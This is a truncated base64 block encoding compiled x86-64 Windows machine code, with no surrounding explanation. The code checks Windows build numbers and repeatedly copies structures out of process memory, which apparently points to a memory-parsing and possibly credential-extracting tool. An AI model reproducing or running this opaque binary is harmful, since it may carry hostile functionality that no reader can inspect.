EWF9k2Lx0mL1EgPRcFIjQ1pYwUASIlEJCDoH2j6/0yNTCRQTIlsJCBMjQUONAQASIvTi8/owKv6/0iDzv+FwA+EigAAAIE9YkEGAFgbAAByckiLTCRQSIvGSP/AZkQ5LEF19kiD+CBFi81BD5TBRYXJdBFBuBAAAABIjVWw6H+n+v/rA0GLxYXAdC9IjUWwSI0NT2MFAEiJRCR46J1n+v9Ii0wkeEUzwEGNUBDoWKj6/0iNDW1MAwDrEEiNDTxjBQDrB0iNDcNjBQDobmf6/0yNTCRQTIlsJCBMjQVNMwQASIvTi8/oD6v6/4XAD4SKAAAAgT21QAYAWBsAAHJySItMJFBIi8ZI/8BmRDksQXX2SIP4QEWLzUEPlMFFhcl0EUG4IAAAAEiNVQjo0qb6/+sDQYvFhcB0L0iNRQhIjQ0KZAUASIlEJHDo8Gb6/0iLTCRwRTPAQY1QIOirp/r/SI0NwEsDAOsQSI0N/2MFAOsHSI0NhmQFAOjBZvr/TI1MJFhMiWwkIEyNBZAyBABIi9OLz+hiqvr/hcB1H0yNTCRYTIlsJCBMjQUZnQQASIvTi8/oQ6r6/4XAdHJIi0wkWEj/xmZEOSxxdfZIg/4gRYvNQQ+UwUWFyXQRQbgQAAAASI1VwOgZpvr/6wNBi8WFwHQvSI1FwEiNDcFkBQBIiUQkaOg3Zvr/SItMJGhFM8BBjVAQ6PKm+v9IjQ0HSwMA6wdIjQ2mZAUA6BFm+v9MOWwkaHUaTDlsJHh1E0w5bCRwdQxIjQ11aAUA6TUCAABIi1WISI1FmESJbCRIuwIAAABIiUQkQIvLSI0FyEgDAEiJRCQ4TIl8JDBEjUMCTIlkJCiJXCQg6FB2+v+FwA+EywEAAESLRaxIjQ3JZAUAi1Wo6Jll+v9Ii02YTI2FiAAAAEGLxvfYG9Ij04HKCAACAP8VCU4CAIXAD4RmAQAASIuNiAAAAEiNhYAAAABEjUs2SIlEJCBMjUXQjVMI/xXFTQIAhcAPhBcBAACLVdxIjQ2bZAUARItF2ESLykSJRCQg6Cpl+v9IjQ3DZAUA6B5l+v9IjVQkYEiNDRYoAADo4ev//0iNDe5JAwDoAWX6/0iNDcJkBQDo9WT6/0iNVCRgSI0NIRsAAOi46///SI0NxUkDAOjYZPr/RDltgA+EjwAAAEWF9nR+SIuNiAAAAEiNRZBIiUQkKESNSwFFM8CJXCQgjVMK/xUlTgIAhcB0PkiLVZAzyf8VJU4CAIXAdA5IjQ16ZAUA6IVk+v/rFP8VhVICAIvQSI0NpGQFAOhvZPr/SItNkP8VfVICAOsU/xVlUgIAi9BIjQ30ZAUA6E9k+v8z0usRSItNmP8VwVYCAOsluhUAAEBIi02Y/xXAVgIA6xT/FTBSAgCL0EiNDS9lBQDoGmT6/0iLjYgAAAD/FSVSAgDrFP8VDVICAIvQSI0NjGUFAOj3Y/r/SItNoP8VBVICAEiLTZj/FftRAgDrK/8V41ECAIvQSI0N0mUFAOjNY/r/6xVIjQ0EZwUA6wdIjQ1rZwUA6LZj+v8zwEiLnCRwAQAASIHEMAEAAEFfQV5BXUFcX15dw8xIiVwkEFVWV0FUQVVBVkFXSIvsSIPsQEUz9kGL8EyJdUBMi+JIi9lFi+5Fi/5Bi/5IhckPhE0FAABJi0wkOEiNVUD/FbBLAgAPuuYbD4M8AgAASIt7CESL9kGB5gAAAAdIhf8PhPoEAAAPuuYcchRIiwUaPAYASIvPD7cTTItAIEH/EEGB/gAAAAEPhIYAAABBgf4AAAACdCJIjQ3gZwUA6PNi+v8PtxNBuAEAAABIi8/orqP6/+moBAAAi1cURTP2QYvejUL/TI1IBU6NDEhOjQyPTIlNWIXSD4SEBAAAi8NIjQxFBwAAAEgDyEiNDI9Ihcl0FUyLRUBIjVVYSYPBBOimBAAATItNWP/DO18Ucs7pTQQAAEmLBCSBeBAAKAAAcwlIjR2+RAMA6xmBeBBaKQAASI0d1kQDAEiNDfdEAwBID0PZSGMLRTP2SItEOQhIhcB0CEgDx0iJRDkISGNLBEiLRDkISIXAdAhIA8dIiUQ5CExjA0iNDTtmBQBIY1METAPHSAPX6Axi+v9EOXMIdB9IY0MIRDg0OHQVSGNDJEiNTwJIA8joGAUAAOmyAwAASGNDEEG/EAAAAEQ4NDh0HkiNDUBmBQDoy2H6/0hjSxxFM8BIA89Bi9fohaL6/0hjQwxEODQ4dB5IjQ1AZgUA6KNh+v9IY0sYRTPASAPPQYvX6F2i+v9IY0MURDg0OHQfSI0NQGYFAOh7Yfr/SGNLIEUzwEgDz0GNUBToNKL6/0w5dUAPhCkDAABIY0MMigw4hMl1DkhjQxREODQ4D4QQAwAASGNDFEQ4NDh0CUxjSyBMA8/rA02LzoTJdAlMY0MYTAPH6wNNi8ZIi01AM9JMiXQkKOh3dv7/6dUCAAAPuuYXD4OoAAAASI0NCWYFAOj0YPr/TDlzCHRISIsVvzYGAEiLy+ijnvr/hcB0NQ+65hxyFkiLBcY5BgAPt1MCSItLCEyLQCBB/xBIi9NIjQ3lZQUA6LBg+v9Ii0sI/xWGTgIASItTGEiF0g+EZAIAAItCDEiDwAhIjQxCi0IISIPACEiJTCQgSI0N22UFAEyNDEKLQgRIg8AITI0EQosCSI0UQkiDwhDoXWD6/+kjAgAAD7rmFQ+DtAAAAIsL6FvH/v9Ii9BIjQ1FZgUA6Dhg+v8Pt0MIZolF8maJRfBmhcB0cEiLQxBIjU3wSIsV8DUGAEiJRfjo0536/4XAdGAPuuYUcxVIg3sIZHYOSItd+EiLy+geAwAA6y5Ii134D7rmHHIVSIsF1zgGAEiLyw+3VfJMi0AgQf8QD7dV8EUzwEiLy+iOoPr/SIvL/xWZTQIA6wxIjQ3IZQUA6Ktf+v9IjQ2MRAMA6J9f+v/pZQEAAA+65hRzCQ8QQyjzD39DIEw5cwh1EEw5cxh1Ckw5cygPhEABAABIixVGNQYASIvL6Cqd+v+FwHQaSIvL6Hac+v+FwHQOD7rmHnIFTIvr6wNMi/tIixUZNQYATI1zEEmLzuj5nPr/hcB0GkmLzuhFnPr/hcB0Dg+65h5yBU2L/usDTYvuSIsV6DQGAEiNSyDoy5z6/4XAdCUPuuYcchZIiwXuNwYAD7dTIkiLSyhMi0AgQf8QSI17IEiF/3UGD7rmHXJ2SI0FKWUFAED2xgFIjQ02ZQUATYvHSA9FyEmL1ei3Xvr/SIX/dB5Ii8/oxpv6/4XAdRIPtxdEjUABSItPCOhin/r/6zIPuuYWcx1Ihf90GA+3F0iNDbcZBABMi0cISNHq6HNe+v/rD0iL10iNDS/AAwDoYl76/02F7XQKSYtNCP8VM0wCAE2F/3QKSYtPCP8VJEwCAEiF/3QKSItPCP8VFUwCAED2xgJ0DEiNDRBDAwDoI176/0iLTUBIhcl0FP8V9EsCAOsMSI0N62QFAOgGXvr/SIucJIgAAABIg8RAQV9BXkFdQVxfXl3DzMxIiVwkCEiJdCQQSIl8JBhBVkiD7DBIi/JJi/mLEUmL2EyL8YXSD4TUAAAAgfoCAAEAD4KhAAAAgfoDAAEAdnCB+gIAAgB0SYH6AQADAA+GhQAAAIH6AwADAHYnjYL+//v/g/gBd3JIjQ2fZAUA6Hpd+v9Ihdt0bUiDZCQoAEUzyesoSI0NW2QFAOheXfr/61RIjQ0VYgUA6FBd+v9Ihdt0Q0iDZCQoAEyLz0UzwOsdSI0NzmEFAOgxXfr/SIXbdCRIg2QkKABMi8dFM8kz0kiLy+h+cv7/6wxIjQ1VZAUA6Ahd+v9BD7dWBkUzwEiLz+jEnfr/SIsGiwhIA89IiQ5Ii1wkQEiLdCRISIt8JFBIg8QwQV7DzMzMQFNIg+wwi1EITI1BZEiL2UiNDSVkBQDouFz6/0iNDVlkBQDorFz6/0UzwEiNSxxBjVAw6Gid+v9IjQ1lZAUA6JBc+v+LQwhIjUtki1NgSAPIRTPA6Eed+v9Ei0tgSI0NaGQFAESLQwiLE+hlXPr/i0MYSI0Ni2QFAESLSxBEi0MMi1MEiUQkKItDFIlEJCDoQFz6/0UzwEiNS0xBjVAQ6Pyc+v+LU1xIjQ2+ZAUASIPEMFvpHFz6/0iJXCQQSIl0JBhVV0FXSIvsSIPsYEyLEUiNBfUsBgBIg2XAADPbSINl0ABIi/pIg2X4AEiJRdhIiwJIiUXgi0IQSIlF8DPATIlVyEyJVehNhckPhBgBAACLSRBBOQh3D0mL2Ej/wEmDwFBJO8Fy7EiF2w+E+AAAAEiLQxBMjUXgi1MISI1N0EiJRdDoYFP6/4XAD4TYAAAASGNDKEgDRfhIi01YSIlFwEiFyXQFi0MsiQFIjUUgQb8EAAAARYvHSIlF0EiNVcBIjU3Q6OhQ+v+JRySFwHQVSItVwEiLRUBJA9dIY00gSAPRSIkQSIt1SEiF9nQ5SGNDLEiNVcBIA0X4SI1N0EiJRcBNi8dIjUUgSIlF0OifUPr/iUckhcB0DkhjTSBJA89IA03ASIkOSIt1UEiF9nQ5SGNDMEiNVcBIA0X4SI1N0EiJRcBNi8dIjUUgSIlF0OhdUPr/iUckhcB0DkhjTSBJA89IA03ASIkOi0ckTI1cJGBJi1soSYtzMEmL40FfX13DSIlcJAhIiXQkEEiJfCQYVUFWQVdIi+xIg+xAM9uL8kiNRThIiV3wSIlF4EiL+UiNBVcrBgBNi/BIjVYISIlF6I1LQEiJRfj/FRdIAgBIiUXwSIXAdHJEjUMISIvXSI1N4OjKT/r/hcB0VEiLTThIi0cISIlN4EiJRehIOw90P0yNRghIjVXgSI1N8OigT/r/hcB0KkiLTfCLBA5BOQZ1CotEDgRBOUYEdA5IiwFIiUXgSDsHdAzrx0iLXeDrBEiLTfD/FaxHAgBIi3QkaEiLw0iLXCRgSIt8JHBIg8RAQV9BXl3DTIvcSYlbCEmJaxBJiXMYV0iB7KAAAABJjUOIi+pIiUQkIEmL8EiL+UiNBXkqBgBIi9FJiUOAM9tIjUwkIESNQ2joBk/6/4XAdBhIi0QkQEyLxovVSIkHSIvP6CEAAABIi9hMjZwkoAAAAEiLw0mLWxBJi2sYSYtzIEmL41/DzMxIi8RIiVgISIloGEiJcCCJUBBXSIHsoAAAAEiNQIiL6kiJRCQgSYvwSIv5SI0F9ikGAEiL0UiJRCQoM9tIjUwkIESNQ2jogk76/4XAD4SjAAAASItEJFBIiQdIhcB0V0iNVQiNS0D/FZRGAgBIiUQkIEiFwHQ5TI1FCEiL10iNTCQg6EVO+v9Ii0wkIIXAdBSLBCk5BnUNi0QpBDlGBEgPRFwkUP8VZkYCAEiF23VGi6wkuAAAAEiLRCQ4SIkHSIXAdBVMi8aL1UiLz+gw////SIvYSIXAdR1Ii0wkQEiJD0iFyXQQTIvGi9VIi8/oDv///0iL2EyNnCSgAAAASIvDSYtbEEmLayBJi3MoSYvjX8PMzMxIg+w4SI0FqTEDAMdEJCgBAAAASI1UJCBIiUQkIEiNDcjh///ox97//0iDxDjDzMxIi8RIiVgISIlwEEiJeBhVQVZBV0iNaKFIgeywAAAASIsRSI1FF0yLQUBFM/ZIiUXHSIv5SI0FqSgGAEyJRbdIiUXPSIsCSIlFv4F6EHAXAABzBDPb6wyBehCwHQAAG9uDwwJNhcAPhEABAABBuCgAAABIjVW3SI1Nx+gJTfr/hcAPhCUBAABIjUXXSIlFx0iLRS9IiUW3SIXAD4QMAQAAQbgQAAAASI1Vt0iNTcdIjXAI6NFM+v+FwA+E7QAAAEiLRd9IiUW3SIXAD4TcAAAASI0cW7lAAAAATI09vDQDAEGLFN//FdJEAgBIiUXHSIvISIXAD4SyAAAASItVt+mUAAAAQYtE3wRIjU3HRYsE30gr0EiJVbdIjVW36GhM+v+FwHR+QYvWSI0Nbl8FAOi5Vvr/SItVx0G4AABAAEGLRN8IDxAEEEGLRN8M8w9/RecPEAQQQYtE3xDzD39F9w+3DBBBi0TfFGaJTQlmiU0HSIsMEEiL10iJTQ9IjU3n6NHy//9Bi0TfBEH/xkiLTcdIixQISIlVt0g71g+FY////+sESItNx/8VIEQCAEyNnCSwAAAASYtbIEmLcyhJi3swSYvjQV9BXl3DzMzMSIPsKDPSSI0NDwAAAOji3P//M8BIg8Qow8zMzEiLxEiJWAhIiXAQSIl4GFVIjWihSIHswAAAAEiDZecASI1FB0iDZdcASI099AoGAEiLEUiL2UiJRfdIjQW7JgYASIlF/0iJRe9IiwJIiUXfSI0FfQoGAIF6EEAfAABID0P4M/aDeSgDD4TWAQAA6PXf//85d0R1R0ghdCQ4SI0FiCsGAEghdCQwSI1XIEghdCQoRI1OBkiLC0yNBdQKBgBIiUQkIOg++f//hcB1EUiNDedeBQDoSlX6/+l5AQAASIsFRisGAEiNVddBuBAAAABIiUXXSI1N9+jDSvr/hcAPhFMBAABIi0UHSDsFHCsGAEiJRdcPhD4BAAC/FAAAAEG4OAAAAEiNVddIjU336I5K+v+FwA+EHgEAAEiLSxCLRRc5AQ+F+gAAAItFGzlBBA+F7gAAAIvWSI0Nrl0FAOjBVPr/SI1NH//G6AKX+v9IjQ3PXQUA6KpU+v9IjU0v6MWW+v+LVTe5QAAAAP8VY0ICAEiJRedIhcAPhJkAAABEi0U3SI1V10iDRdc0SI1N5+gMSvr/hcB0dUiLQwiLVTdIi03nTItAIEH/EEiNDZtdBQDoTlT6/4tVN0UzwEiLTefoC5X6/0SLRTdMjU0/SItV57kEgAAAiXwkIOj5/Pn/hcB0KkiNDYpdBQDoFVT6/0UzwEiNTT+L1+jTlPr/RIvHSI1VP0iNTR/oR2X+/0iLTef/Fc1BAgBIjQ3OOAMA6OFT+v9Ii1UHSDsV3ikGAEiJVdcPhcf+//9IjQ2tOAMA6MBT+v9MjZwkwAAAALgBAAAASYtbEEmLcxhJi3sgSYvjXcPMzEiD7DhIjQWdLwMAx0QkKAEAAABIjVQkIEiJRCQgSI0NTN3//+hL2v//SIPEOMPMzEiD7DhIg2QkKABIjQWXAAAASI1UJCBIiUQkIOjQCQAASIPEOMPMzMxMi9xIg+w4g2QkVABIjQU9AgAASYlD6EmNU+hJjUMYiUwkUEiNDUIAAABJiUPw6OnZ//8zwEiDxDjDzMxIg+w4SINkJCgASI0F1wIAAEiNVCQgSIlEJCBIjQ0OAAAA6LnZ//8zwEiDxDjDzMxIg+wo6FMJAAC4AQAAAEiDxCjDzEiJXCQISIl0JBBIiXwkGFVIi+xIg+xwSIvaSIv5M9JIjU3QRI1CMOi8NQAASINlwABIjQWIIwYATIsLSI01hjADAEiJRchIYwXXJwYASGnQmAAAAEhjRDIUSosMCEiJTbBIiw9IiwFIiUW4gXkQACgAAEhjTDIESIvXRRvASQPJQffQQYHgAAAQAOih7v//SIN9sAAPhB8BAABIYwWDJwYAuUAAAABIadCYAAAASIuUMpAAAAD/Fd0/AgBIi9hIhcAPhPIAAABIYw1WJwYASI1VsExpwZgAAABIjU3ASIlFwE2LhDCQAAAA6HZH+v+FwA+EugAAAEhjBScnBgAPEANIadCYAAAA8w9/RdBIY4QyiAAAAESLBBhFhcB0Xw+3hDKQAAAAuUAAAABmK4QyjAAAAGZBA8APt9BmiUXg/xVVPwIASIlF6EiFwHQwSGMN0SYGAEQPt0XgSGnRmAAAAEiJRcBIY4wyjAAAAEiNVbBIAU2wSI1NwOjoRvr/SIsHSI1N0EiL14F4EM4OAABFG8BBgeAAAAAQQQ+66Bfoj+3//0iLTehIhcl0Bv8V+D4CAEiLy/8V7z4CAEyNXCRwSYtbEEmLcxhJi3sgSYvjXcPMSIlcJAhIiWwkEEiJdCQYV0FWQVdIg+xATYvxSYvoSIvaSIvx6DPb//8PEEUARTPJTI1EJCAPEAtIjVQkMEiLzvMPf0QkIPMPf0wkMOjf/f//SI0NiDUDAOibUPr/M9tMjT2ix/n/i/tNi4T/IGsJAEiNDclaBQCL0+h6UPr/SGMFzyUGAIvTRYsOSGvIJkgDz01jhI/4ZgkASIvOTANFAOhTCAAASI0NNDUDAOhHUPr//8NI/8eD+wNyrUiLXCRgSItsJGhIi3QkcEiDxEBBX0FeX8NIi8RIiVgISIlwEEiJeBhMiWAgVUFWQVdIi+xIg+xgSItCCEyNJfotAwBIiUXYM9tIiUXISIv6SGMFQiUGAEyL8UxpyJgAAABIiV3QSYvwSIsHSIldwEtjVCFoSIsMAkmJCEiFyQ+EbwEAAEmLzugV2v//DxAGRTPJTI1F4A8QD0iNVfBJi87zD39F4PMPf03w6Mb8//9IjQ3vWQUA6IJP+v9IYwXXJAYAjUtASGnQmAAAAEqLVCJw/xU2PQIASIlF0EiFwA+EDwEAAEhjBa4kBgBIjU3QTGnAmAAAAEiL1k+LRCBw6NZE+v+FwA+E3gAAAEiLRdCLeASF/w+EzwAAAEhjBXgkBgCNS0BIacCYAAAASotEIHBIAQZIYwVfJAYASGnQmAAAAEKLhCKAAAAAD6/Hi9BEi/j/FbY8AgBIiUXASIXAD4SFAAAARYvHSI1NwEiL1uhmRPr/hcB0aIX/dGRJiwaBeBBwFwAAcwhBuAAAABDrFIF4EAAoAABFG8BB99BBgeAAABAASGMF7yMGAEEPuugVSGnImAAAAEqLlCGAAAAASmNMIXhID6/TSANVwEgDykmL1ujP6v//SP/DSIPvAXWcSItNwP8VNDwCAEiLTdD/FSo8AgBMjVwkYEmLWyBJi3MoSYt7ME2LYzhJi+NBX0FeXcNIiVwkCEiJVCQQVVZXQVRBVUFWQVdIjWwk2UiB7OAAAABIi0IITI0tACwDAEUz5EiJRY9IiUQkOEmL8EiJRCQoSIvZSIlF/0iNTbdIYwU2IwYATIvCSGnQmAAAAEiLBkmL+UiJTfdIg8AgRIllt0WL/EyJZb9Fi/RKY0wqBEgDyEyJZYdIi0YISIlFz0mLAEiJTcdKY0wqaEyJZCQwTIlkJCBIixQBSIkWSIXSD4SUAwAASGMFzyIGAEGNTCRASGnQmAAAAEqLVCpw/xUsOwIASIlFh0iFwA+EaQMAAEhjBaQiBgBIjU2HTGnAmAAAAEiL1k+LRChw6MxC+v+FwA+EOAMAAEiLRYdEi2gERYXtD4QnAwAASItHCEiFwEEPlcRFheR0KA8QAEiLA/MPf0XXgXgQcBcAAHIUSItDCEiNTde6EAAAAEyLQBhB/xBIiwOBeBCwHQAAcl9Ii0cYSIXAQQ+Vx0WF/3QcDxAASItDCEiNTee6EAAAAPMPf0XnTItAGEH/EEiLRxBIhcBBD5XGRYX2dCMPEAC6IAAAAEiNTQcPEUUHDxBIEEiLQwgPEU0XTItAGEH/EEhjBckhBgBIjQ1mKgMASGnQmAAAAEiLRApwSAMGSIlFl0iJBkhjBaUhBgBIadCYAAAAi4QKgAAAALlAAAAAQQ+vxYvQi9j/Ffg5AgBIiUQkMEiFwA+EKgIAAESLw0iNTCQwSIvW6KZB+v+FwA+EBwIAAEiLFkiNDYhWBQBFi8Xo8Ev6/4NldwDHRyABAAAARYXtD4RmAQAASWPEM9JMi2WXSIlFn0ljx0iJRadJY8ZIiUWvSIlVf4N/IAAPhLgBAABIYwUIIQYASItcJDBIaciYAAAASI0FmSkDAEyLtAGAAAAASGNEAXhMD6/yTAPwSQPeiwvoj7L+/0iL0EiNDSFWBQDobEv6/0iLQxBMjT0JTwQAM8lIiQZIOU2fdBeLA4PoEYP4AXYNSIN7CBB1BkiNRdfrFkg5Tad0HYM7EXUYSIN7CBB1EUiNRedIiUQkIEG+EAAAAOtOSDlNr3QdgzsSdRhIg3sIIHURSI1FB0G+IAAAAEiJRCQg6ytLjQQmSIlcJCBIiQZMjT3GLgQAiQtBvhAAAABIiUsISI0Nm1UFAOjOSvr/TYvGSI1UJCBIi87oWkD6/4lHIIXAdBFJi9dIjQ0NrQMA6KhK+v/rFP8VqDgCAIvQSI0NZ1UFAOiSSvr/i0V3SItVf//ASP/CiUV3SIlVf0E7xQ+Cuf7//4N/IAB0dUhjBcUfBgBIaciYAAAASI0FWygDAEhjTAEESItFb0iLAEiDfAEoAHRMSI0NsFUFAOg7Svr/QbgQAAAASI1V90iNTcfoxD/6/4lHIIXAdBJIi1XHSI0NxlUFAOgRSvr/6xT/FRE4AgCL0EiNDdBUBQDo+0n6/0iLTCQw/xXQNwIASItNh/8VxjcCAEiLnCQgAQAASIHE4AAAAEFfQV5BXUFcX15dw8zMzEiD7DhMiwpIjQWO+///TItBEEiJRCQgSIlUJChBiwFBOQB1GEGLQQRBOUAEdQ5IjVQkIOgQAAAAM8DrBbgBAAAASIPEOMPMzEyL3EmJWwhJiXMQSYl7GFVIi+xIgeyAAAAASINl0ABIjQVSGgYASINlwABIi9mDPf8ABgAASIvySIsJSIlF2EiLAUiJRch1TkiNBY0eBgBBuQcAAABJiUOwTI0F8AAGAEmDY6gASI0FJB8GAEmDY6AASI0VmAAGAEmJQ5jo4+z//4XAdRFIjQ2kTAQA6O9I+v/pzwAAAEiLBfMeBgBIjT3cJgMATItDEEiJRcBIiwODeAgGSGMFIh4GAHMVSGnImAAAAIsUOUiNTcDoHe7//+sTSGnImAAAAIsUOUiNTcDo7O7//0iJRcBIhcB0eEhjBegdBgC5QAAAAEhp0JgAAABIi1Q6GP8VRTYCAEiJRdBIhcB0UUhjBcEdBgBIjVXATGnAmAAAAEiNTdBNi0Q4GOjoPfr/hcB0Iw8oRcBMjUXgDyhN0EiNVfBMi04ISIvLZg9/ReBmD39N8P8WSItN0P8V+zUCAEyNnCSAAAAASYtbEEmLcxhJi3sgSYvjXcPMzEiJXCQYRIlMJCCJVCQQVVZXQVRBVUFWQVdIi+xIg+xgSINl4ABIjUVASIlF0EiNHcwlAwBIjQW9GAYATIlF8EiJRdiL8kiJRehBi/lIiwFMi/lFM+RNi+hMiwhIYwX6HAYAQY1MJEBIadCYAAAATIlN+EiLVBpg/xVTNQIASIlF4EiFwA+EqwEAAEWNRCQISI1V8EiNTdDoAD36/4XAD4SHAQAASItVQEmLB0iJVdBIiwhIiU3YSTvVD4RsAQAASGMFlhwGAEiNVdBMacCYAAAASI1N4E2LRBhg6L08+v+FwA+ERAEAAEGL1EiNDb9PBQDoCkf6/0mLF0iLTeBIixLoawIAAEiL2EiFwA+E+gAAAEmLD4F5EAAoAAByC4N4eGRyBUUz9usGQb4BAAAAQYvWSIvI6Ger/v+F/w+EmAAAAEmLTxBMi8tFi8SL1uj+AAAASIvwSIXAdHwz0kiLy+gssv7/SIv4SIXAdF72QAGAdBIPt0gCZsHJCEQPt8FBg8AE6wlED7ZAAUGDwAJIi9BIi87oWCX6/4XAdBFIi9ZIjQ06JAQA6FVG+v/rFP8VVTQCAIvQSI0NBFIFAOg/Rvr/SIvP/xUWNAIASIvO/xUNNAIAi31Yi3VIRYX2dSWLU3CLyugsrf7/TIvASI0NblIFAOgJRvr/SIuLgAAAAOgp6f//SIvL6G2u/v9Ii03gSI0d6iMDAEH/xEiLAUiJRdBJO8UPhZb+///rBEiLTeD/FaszAgBIi5wksAAAAEiDxGBBX0FeQV1BXF9eXcPMzMxIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7GBIi/FJi/lJi8lFi/BEi/roWKz+/7oAIAAAuUAAAACL6P8VQjMCAEiL2EiFwA+EtwAAAESLTgRIjQXjDAQAhe10V0iLD0yLRzBIiUQkWEmDwAiLh4gAAABIjVEYSIPBCEiJVCRQugAQAABIiUwkSEiLy0yJRCRATI0Fy1EFAIlEJDiLBkSJdCQwRIl8JCiJRCQg6G54/v/rM0iJRCRATI0F7FEFAIuHiAAAALoAEAAAiUQkOEiLy4sGRIl0JDBEiXwkKIlEJCDoOXj+/zPJhcAPn8GFyUiLy3QH6Nol+v/rCf8VkjICAEiL2EyNXCRgSIvDSYtbIEmLayhJi3MwSYvjQV9BXl/DzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8kiL+bqoAAAAjUqY/xU4MgIASIvYSIXAD4QjAgAATGMFsRkGAEiNLU4iAwBNaciYAAAASWNUKUhIiww6SIlIWEhjDY8ZBgBIadGYAAAASGNEKkxIi9ZIiww4SIlLYEhjBXEZBgBIaciYAAAASGNEKVBIiww4SIlLaEhjBVYZBgBIaciYAAAASGNEKSBIiww4SIkLSIvL6L8BAABIYwU0GQYASI1LCEhp0JgAAABIY0QqKEiL1g8QBDjzD38B6HyB+v9IYwUNGQYASI1LGEhp0JgAAABIY0QqJEiLFDhIiRFIi9bocgEAAEhjBecYBgBIjUsgSGnQmAAAAEhjRCosSIvWDxAEOPMPfwHoL4H6/0hjBcAYBgBIjUswSGnQmAAAAEhjRCo4SIsUOEiJEUiL1uglAQAASGMFmhgGAEiNSzhIadCYAAAASGNEKjRIi9YPEAQ48w9/AejigPr/SGMFcxgGAEiNS0hIadCYAAAASGNEKjBIi9YPEAQ48w9/Aei7gPr/SGMFTBgGAEhpyJgAAABIY0QpQIsMOIlLcEiNS3hIYwUvGAYASGnQmAAAAEhjRCpEDxAEOEiL1vMPfwHocwEAAEhjBQwYBgBIaciYAAAASGNEKTyLDDiJi4gAAABIYwXwFwYASGnImAAAAEhjRClUiww4iYuMAAAASGMF1BcGAEhpyJgAAABIY0QpXIsMOImLkAAAAEiNi5gAAABIYwWxFwYASGnQmAAAAEhjRCpYSIvWDxAEOPMPfwHo9QAAAEiLbCQ4SIvDSItcJDBIi3QkQEiDxCBfw8xMi9xJiVsISYlrEEmJcxhXSIPsYEiLAUiL2UmJQ8hJjUvYSYlLuEiNDesSBgBJiUvASIvySYlT0EiFwA+EggAAAEiDIwBJjVPIQbgIAAAASY1LuOhkN/r/hcB0Zw+3RCRCuUAAAAD/yMHgBIPAGIvQi+j/FXgvAgBIi/hIhcB0Q0SLxUiJA0iNVCQwSIlEJCBIjUwkIOgiN/r/hcB0JTPbD7dHAjvYcxuLw0iNTwhIweAESIvWSAPI6Cd/+v//w4XAdd1MjVwkYEmLWxBJi2sYSYtzIEmL41/DzMzMTIvcU0iD7EBIi0EISIvZSYNj2ABIjQ0hEgYASYlD6EmJU/BIg2MIAEmJS+BIhcB0LYsTuUAAAAD/FdYuAgBIiUQkIEiFwHQWRIsDSI1UJDBIjUwkIEiJQwjogjb6/0iDxEBbw0iD7DhIjQXNHgMAx0QkKAEAAABIjVQkIEiJRCQgSI0NjMr//+iLx///SIPEOMPMzEiJXCQISIl8JBBVSI1sJPBIgewQAQAASI1FoDP/OT3R+gUASIvZSIsJSIlEJFBIjQVzEQYASIlEJFhIiXwkQEiLAUiJRCRIdUdIiXwkOEiNBXMWBgBIiXwkMESNTwFIiXwkKEyNBZb6BQBIjRVf+gUASIlEJCDoGeT//4XAdRFIjQ3aQwQA6CVA+v/plAAAAEiLBTEWBgBIjUwkQEyLQxC6QAAAAEiJRCRA6G3l//9IiUQkQEiFwHRrQbhoAAAASI1UJEBIjUwkUOh+Nfr/hcB0UkiLRQBIiUQkQEiFwHRESI1EJGBBuDgAAABIjVQkQEiJRCRQSI1MJFDoTTX6/4XAdCFIiwNIjUwkaEG4AAAAEEiL04F4ENckAABED0XH6PTb//9MjZwkEAEAAEmLWxBJi3sYSYvjXcPMzMxIg+w4SI0FkSEDAMdEJCgBAAAASI1UJCBIiUQkIEiNDSDJ///oH8b//0iDxDjDzMxIi1EwTI0FDQAAAEyLyUiLCemCAgAAzMxIiVwkCEiJdCQQV0iD7CBBi8BIjXIISIv6SI0NZEwFAEyLxovQuwAAAAjo/T76/0UzwEiNFcshAwBIi87/FUoxAgCEwHQHuwAAAAnrHUUzwEiNFZ0hAwBIi87/FSwxAgCEwLkAAAAKD0XZSItUJFBIjU8YRIvD6Bnb//9Ii1wkMLgBAAAASIt0JDhIg8QgX8NMi9xJiVsISYlzEEmJexhNiXMgQVdIg+wwgXkQACgAAE2L+UiLQiBIi/JJiUPoSI0FXw8GAEmJQ/BzCUiNHaogAwDrGYF5EFopAABIjR3CIAMASI0F4yADAEgPQ9hIjUoIRTPASI0VCSEDAP8VizACAITAD4T7AAAASIt+IEiF/w+E+gAAAEyLdCRgD7dWGEmLBkiLSAhIi0EgSIvP/xBIY0MQxgQ4AEhjQxTGBDgAg3sIAHQISGNDCMYEOABIY0McM8lIiQw4SIlMOAhIY0MgSIkMOEiJTDgIiUw4EEmLRghIOUgISGNDDHQaxgQ4AUmLRghIi0gISGNDGA8QAfMPfwQ46xCIDDhIY0MYSIkMOEiJTDgISYsGSIvPSItQCEiLQhgPt1YY/xBJixdIjQ3hSgUA6GQ9+v9ED7dGGEiNVCQgSYvP6O4y+v9Ji04IiUEghcB0CUiNDeBKBQDrHf8VQCsCAIvQSI0N30oFAOgqPfr/6wxIjQ1lcgMA6Bw9+v9Ii1wkQLgBAAAASIt0JEhIi3wkUEyLdCRYSIPEMEFfw0iD7DhMiwpMi0EQSIlMJCBIiVQkKEGLAUE5AHUmQYtBBEE5QAR1HEiLUTBMjUwkIEiLCUyNBSb+///oEQAAADPA6wW4AQAAAEiDxDjDzMzMSIvESIlYCEiJcBBIiXgYVUiNaKFIgeyQAAAASINlBwBIjQV9DQYASIlFD0mL+UiLAUmL8EiJRf9Ii9lIiVX3SIXSD4TfAAAASI1FF0G4GAAAAEiNVfdIiUUHSI1NB+jlMfr/hcAPhKMAAABIi0Un6YMAAABIjUUvQbgoAAAASI1V90iJRQdIjU0H6Lkx+v+FwHRUSItFT0iNTUdIixNIiUX36Ml5+v+FwHRISIsTSI1NN+i5efr/hcB0IESLRR9MjU33SI1VL0iJfCQgSIvL/9ZIi00//xWxKQIASItNT/8VpykCAOsMSI0NDkoFAOi5O/r/SItFL0iJRfdIhcAPhXD///9Ii0UXSIlF9+sQSI0NR0oFAOiSO/r/SItF90iFwA+FIf///0yNnCSQAAAASYtbEEmLcxhJi3sgSYvjXcNIg+w4SI0FqR0DAMdEJCgBAAAASI1UJCBIiUQkIEiNDRjF///oF8L//0iDxDjDzMxIiVwkCEiJfCQQVUiNbCSpSIHswAAAAEiDZdcASI1F90iJRedIi9lIiwlIjQUDDAYASIlF7zP/OT0z9gUASIsBSIlF33VHSCF8JDhIjQUKEQYASCF8JDBEjU8DSCF8JChMjQUV9gUASI0V3vUFAEiJRCQg6Kje//+FwHURSI0Na